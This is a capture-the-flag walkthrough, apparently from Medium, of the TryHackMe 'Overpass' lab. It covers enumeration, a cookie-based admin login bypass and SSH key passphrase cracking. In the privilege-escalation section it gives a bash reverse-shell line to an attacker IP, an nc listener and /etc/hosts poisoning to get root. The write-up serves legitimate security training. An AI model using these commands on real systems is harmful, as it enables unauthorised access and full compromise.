Overpass CTF

Link room:https://tryhackme.com/room/overpass

Author: 0xNOVA

Platform: TryHackMe

Enumeration Phase

Every successful engagement starts with reconnaissance. By performing a port scan, we uncover the services running on the target machine. This gives us a clear view of the available attack surface and highlights which entry points deserve a closer look.

Scan Findings:

• Port 22 (SSH): OpenSSH 8.2p1 (Ubuntu Linux).
• Port 80 (HTTP): Running a Go-based HTTP server with the page title Overpass.

Web Application Enumeration

Navigating to the web service on port 80 reveals the landing page for Overpass, a password manager.

From a security perspective, dealing with an application that manages accounts immediately grabs our interest for several reasons:

• Data Sensitivity: These applications store highly confidential information.
• Vulnerability Impact: Any software flaw here could lead to the exposure of all stored accounts.
• Code Review: Inspecting the site’s client-side code may reveal logic errors or data validation flaws.

Directory Enumeration using Gobuster

To discover hidden directories and unlinked endpoints on the web server, we perform directory brute-forcing using Gobuster with the common.txt wordlist:

gobuster dir -u 10.128.162.65 -w /usr/share/wordlists/dirb/common.txt

The discovery of the /admin directory presents a prime target for our next attack vector.

Authentication Bypass

Upon navigating to the `/admin/` endpoint, we are presented with an administrator login panel.

Get 0xNOVA71’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

At this stage, instead of trying random credentials, I inspected the page source code first to understand how authentication works.

Source Code Analysis

• Admin Login Panel: Navigating to the /admin/ endpoint presents an administrator login panel.
• JavaScript Inspection: By inspecting the page source and developer tools (Sources tab), we identified three primary scripts loaded by the application:
• main.js
• login.js
• cookie.js (a minified version of the js-cookie library)
• Login Logic Breakdown (login.js): The script handles authentication by submitting credentials via a POST request to /api/login. If valid, the server returns a token response (statusOrCookie), which the client-side code immediately stores in the browser cookies under the name SessionToken before redirecting the user to /admin

• Credential Submission: The script captures the username and password values from the input fields and sends them via an asynchronous POST request to the /api/login endpoint.
• Response Handling: The server’s response text is read and stored in the statusOrCookie variable.
• Error Management: If the response strictly equals "Incorrect credentials", the script updates the UI status to show an error message and clears the password input field.
• Session Storage & Redirection: If authentication succeeds (i.e., any other response), the script uses the cookie helper to set a cookie named SessionToken with the returned value, and automatically redirects the user to the /admin dashboard

Cookie Injection

We successfully bypassed authentication by manually injecting the required session token

• Storage & Cookies: Navigated to the browser’s Storage > Cookies tab for (http://10.128.162.65).
• Manual Injection: Created a new cookie with the name SessionToken and set its value to true.
• Result: Bypassing the client-side check, granting direct access to the administrator dashboard (/admin).

Successful Exploitation & Accessing the Dashboard

• Access Granted: By injecting the SessionToken cookie into our browser session, we successfully bypassed the client-side authentication check and gained unauthorized access to the Overpass Administrator area (/adminwithout needing valid credentials.
• Sensitive Discovery: Upon accessing the dashboard, the page revealed a message addressed to James along with an encrypted RSA Private Key
• Username Identification: The message embedded in the HTML explicitly references James (“Since you keep forgetting your password, James. I’ve set up SSH keys for you”), providing us with a valid system username.james).

Cracking the Private Key

Since the RSA private key extracted from the administrator dashboard was encrypted, we needed to crack its passphrase to gain remote SSH access:

• Saving the Key: Saved the extracted private key into a local file named id_rsa.
• Hash Extraction: Used the ssh2john utility to convert the encrypted private key into a hash format (id_rsa.hash) compatible with password cracking tools.
• Brute-Force Attack: Executed John the Ripper against the hash using the popular rockyou.txt wordlist

Initial Access via SSH

With the private key passphrase successfully cracked, we established a secure remote shell session on the target machine:

• Permission Configuration: Restricted the private key permissions for secure usage using chmod 700 id_rsa.
• SSH login: Logged into the target system as the user james using the private key: ssh -i id_rsa james@10.128.162.65.
• Shell Access: Provided the cracked passphrase (james13), successfully authenticating and obtaining an interactive shell session (james@ip-10-128-162-65:~$).

Capture the user.txt flag.

Privilege Escalation

Create the necessary directory structure and script file:

mkdir -p downloads/src/
nano downloads/src/buildscript.sh

Add the reverse shell payload inside the file (replace 192.168.135.168 with your actual VPN IP)

#!/bin/bash
bash -i >& /dev/tcp/192.168.135.168/4444 0>&1

Start Listener

nc -lvnp 4444

Since /etc/hosts is world-writable (-rw-rw-rw-), edit it to poison the domain resolution:

nano /etc/hosts

Change the line:

127.0.0.1 overpass.thm

192.168.135.168 overpass.thm

Capture the root flag

Thanks👾🖤